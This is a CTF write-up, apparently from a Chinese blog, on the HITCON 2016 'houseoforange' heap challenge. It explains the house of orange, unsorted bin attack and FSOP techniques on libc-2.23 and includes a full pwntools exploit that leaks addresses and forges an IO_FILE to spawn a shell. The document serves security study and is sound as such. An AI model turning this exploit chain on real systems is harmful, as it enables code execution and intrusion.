houseoforange_hitcon_2016
houseoforange_hitcon_2016
总结
根据本题,学习与收获有很多,因为本题涉及到的知识点很多,无法一一详述。主要的收获有:
house of orange利用一般发生在程序没有free函数的情况下,需要伪造top chunk的size,下一次分配超过伪造的大小的chunk的时候,就会把old top chunk释放掉,放置在unorted bin中。- 伪造
top chunk的size需要注意的几点有:size必须要对其到内存页,就是分配的内存大小加上top chunk size,一定是0x1000的倍数。pre_inuse位要置为1size不能小于最小的chunk大小
IO_FILE利用时,在libc版本低于2.27的时候,可以利用调用链malloc_printerr->_libc_message->abort->_IO_flush_all_lockup->_IO_overflow,根据条件伪造IO_FILE结构,vtable表,触发system(/bin/sh)或者one_gadget。- 可利用
unsorted bin attack修改_IO_list_all指针指向,这个是时候,smallbin(0x60)地址就是前一个假的IO_FILE的chain指针内容。在libc-2.23.so中,伪造得到的fpchain为:main_arena + 0x88--->smallbin[0x60] - 想要在堆上留下堆地址,需要利用到
largebin,存储largebin的堆头的时候,会在fd_nextsize或bk_nextsize上留下堆地址。
题目分析
题目环境为ubuntu 16.04,libc-2.23.so。
checksec

保护全部拉满!
函数分析
main

可以看到,典型的菜单题。接下来进menu看看,有哪些选项。
menu

3个选项,依次看看
build_house


因为我已经建立好了结构体,所以显示的都是price和color之类有属性的变量,简单梳理一下关键流程:
-
调用
build_house次数限制为4次 -
malloc(0x10) ---> chunk A,用来管理house -
malloc(input_size) ---> chunk B,其中,\(input_size \in [0, 4096]\),用来存储name -
read(0, B, input_size),读取用户输入 -
calloc(0x8) ---> chunk C,用来存储price和color,这俩加起来才占用8个字节 -
A[0] = C,A[1] = B,C[0] = (price | color) -
cur_house_ptr置为chunk A的mem_ptr地址
see_house

需要注意的是:只能打印当前house的信息,没有提供数组索引之类的东西。
upgrade_house

简单梳理一下主要流程:
- 限制
upgrade_house次数为3次 - 修改当前
house,获取用户输入大小alter_size read(0, house->name, alter_size),可以溢出修改
漏洞点
分析完主要函数后,漏洞点很明显。有且只有一个漏洞,就是在upgrade_house的时候,可以溢出修改house_name对应的chunk内容。

需要注意的是,这里的堆溢出,只能修改top_chunk,因为没有提供堆数组和索引。还有,将申请的大小限制在0x1000内,是为了避免使用house of force之类的攻击。同时,题目没有提供释放chunk的函数,没有free的话,基本无法构造堆布局。本题,基本上把利用方式限制在了house of orange。
利用思路
知识点
house of orange
1、利用条件
- 题目中没有给
free之类的接口 - 可以修改
top_chunk的size域
2、利用方法
- 溢出修改
top chunk的size,注意,这里需要滿足一些检查条件 - 下次申请超过
top_chunk size大小的chunk
3、攻击效果
- 把原来的
top_chunk放置在unosrted bin中
FSOP
其实FSOP的利用方式有很多,结合不同的版本,不同的调用流程,攻击方法也不一样。这里主要谈一下64位下,libc-2.23.so中伪造IO_FILE结构和vtable,触发IO_flush_all_lockup刷新所有流进行攻击的方式。
1、IO_FILE结构
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
vtable的函数指针为:
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
malloc_printerr最终调用到IO_flush_all_lock,源码位于libio\vswprintf.c:795
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
// 刷新所有的文件流
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)// 前面的或语句为真的时候,才会执行到_IO_OVERFLOW(fp, EOF)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
······
要想执行到_IO_OVERFLOE,要么滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base,要么滿足_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base),一般来说,前面的条件好构造一点。
unsorted bin attack
这个攻击方式不用细说,这里关注的有两点:
-
如果
main_arena + 88作为文件流地址,那么它的chain指针对应的是smallbin[0x60]。 -
如果申请的大小在
largebin的范围内,那么在解链unsorted bin的时候,会先把unsorted bin chunk放在large bin中,就会在fd_nextsize和bk_nextsize上留下堆地址/* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { ······ // 这里会被置为,留下堆地址 victim->fd_nextsize = victim->bk_nextsize = victim; }
利用过程
步骤:
build_house(0x10) chunk Augrade_house(A),修改top_chunk的size域,为house of orange做准备。经过计算,这里修改为0xfa1build_house(0x1000) chunk B,触发free(old_top_chunk),得到一块unsorted bin chunkbuild_house(0x400, name="a" * 8),利用残留的指针泄露出libc地址upgrade_house(B, name="a"*0x10),利用残留的指针泄露出heap地址upgrade_house(B),触发unsorted bin attack,并修改unsortedbin chunk的size为0x61,同时伪造好IO_FILE结构和vtable表
EXP
调试过程
-
1、定义好各个函数
def build_house(length:int, name, price:int=0xff, color:int=1): sh.sendlineafter("Your choice : ", "1") sh.sendlineafter("Length of name :", str(length)) sh.sendafter("Name :", name) sh.sendlineafter("Price of Orange:", str(price)) sh.sendlineafter("Color of Orange:", str(color)) sh.recvuntil("Finish\n") def see_house(): sh.sendlineafter("Your choice : ", "2") name_msg = sh.recvline_startswith("Name of house : ") price_msg = sh.recvline_startswith("Price of orange : ") log.success("name_msg:{}\nprice_msg:{}".format(name_msg, price_msg)) return name_msg, price_msg def upgrade_house(length:int, name, price:int=0xff, color:int=1): sh.sendlineafter("Your choice : ", "3") sh.sendlineafter("Length of name :", str(length)) sh.sendafter("Name:", name) sh.sendlineafter("Price of Orange: ", str(price)) sh.sendlineafter("Color of Orange: ", str(color)) sh.recvuntil("Finish\n") -
1、修改
top chunk的size,触发house of orange# change the size of top_chunk to 0xfa1 upgrade_house(0x100, b"a" * 0x38 + p64(0xfa1)) # house of orange build_house(0x1000, "cccc")
-
2、泄露出
libc地址和heap地址build_house(0x400, b"a" * 8) msg, _ = see_house() leak_libc_addr = msg[0x18: 0x18+6] leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00")) LOG_ADDR("leak_libc_addr", leak_libc_addr) libc_base_addr = leak_libc_addr - main_arena_offset - 1640 LOG_ADDR("libc_base_addr", libc_base_addr) io_list_all_addr = libc_base_addr + libc.sym["_IO_list_all"] upgrade_house(0x10, "a" * 0x10) msg, _ = see_house() heap_addr = msg[0x20:0x26] heap_addr = u64(heap_addr.ljust(8, b"\x00")) LOG_ADDR("heap_addr", heap_addr)

-
3、触发
unsortedbin attack,并伪造IO_FILE结构,刷新流拿到shellpayload = flat(p64(0) * 3 + p64(libc_base_addr + libc.sym["system"]), 0x400 * "\x00", "/bin/sh\x00", 0x61, 0, io_list_all_addr-0x10, 0, 0x1, # _IO_write_ptr 0xa8 * b"\x00", heap_addr+0x10 ) upgrade_house(0x600, payload) sh.sendlineafter("Your choice : ", "1") sh.interactive()


可以看到,已经执行了
system(/bin/sh),拿到了shell。这里调试的时候,不小心从
opne-wsl.exe退出了,又重新attach上去,所以截图会看上不不一样。
完整exp
from pwn import *
import functools
sh = process("./houseoforange_hitcon_2016")
LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
context.arch="amd64"
context.os="linux"
context.endian="little"
main_arena_offset = 0x3c4b20
libc = ELF("libc-2.23.so")
def build_house(length:int, name, price:int=0xff, color:int=1):
sh.sendlineafter("Your choice : ", "1")
sh.sendlineafter("Length of name :", str(length))
sh.sendafter("Name :", name)
sh.sendlineafter("Price of Orange:", str(price))
sh.sendlineafter("Color of Orange:", str(color))
sh.recvuntil("Finish\n")
def see_house():
sh.sendlineafter("Your choice : ", "2")
name_msg = sh.recvline_startswith("Name of house : ")
price_msg = sh.recvline_startswith("Price of orange : ")
log.success("name_msg:{}\nprice_msg:{}".format(name_msg, price_msg))
return name_msg, price_msg
def upgrade_house(length:int, name, price:int=0xff, color:int=1):
sh.sendlineafter("Your choice : ", "3")
sh.sendlineafter("Length of name :", str(length))
sh.sendafter("Name:", name)
sh.sendlineafter("Price of Orange: ", str(price))
sh.sendlineafter("Color of Orange: ", str(color))
sh.recvuntil("Finish\n")
build_house(0x10, "aaaa")
# change the size of top_chunk to 0xfa1
upgrade_house(0x100, b"a" * 0x38 + p64(0xfa1))
# house of orange
build_house(0x1000, "cccc")
# leak addr
build_house(0x400, b"a" * 8)
msg, _ = see_house()
leak_libc_addr = msg[0x18: 0x18+6]
leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - main_arena_offset - 1640
LOG_ADDR("libc_base_addr", libc_base_addr)
io_list_all_addr = libc_base_addr + libc.sym["_IO_list_all"]
upgrade_house(0x10, "a" * 0x10)
msg, _ = see_house()
heap_addr = msg[0x20:0x26]
heap_addr = u64(heap_addr.ljust(8, b"\x00"))
LOG_ADDR("heap_addr", heap_addr)
payload = flat(p64(0) * 3 + p64(libc_base_addr + libc.sym["system"]),
0x400 * "\x00",
"/bin/sh\x00",
0x61,
0,
io_list_all_addr-0x10,
0,
0x1, # _IO_write_ptr
0xa8 * b"\x00",
heap_addr+0x10
)
upgrade_house(0x600, payload)
sh.sendlineafter("Your choice : ", "1")
sh.interactive()
引用与参考
1、My Blog
2、Ctf Wiki
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14696780.html

浙公网安备 33010602011771号